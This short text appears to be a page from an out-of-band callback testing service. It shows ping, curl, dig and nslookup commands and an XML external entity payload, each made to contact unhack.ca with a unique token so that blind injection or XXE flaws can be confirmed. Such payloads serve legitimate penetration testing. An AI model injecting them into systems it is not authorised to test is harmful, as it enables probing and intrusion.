$ ping -c1 -p 001724a34ac7ccb73533527f9ea65900 unhack.ca
 
$ curl http://unhack.ca/p/1724a34ac7ccb73533527f9ea659
 
$ dig 1724a34ac7ccb73533527f9ea659 @unhack.ca
 
$ dig 1724a34ac7ccb73533527f9ea659.ns.unhack.ca
 
C:\> nslookup 1724a34ac7ccb73533527f9ea659 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1724a34ac7ccb73533527f9ea659">]>
    <foo>&xxe;</foo>
Waiting for ping...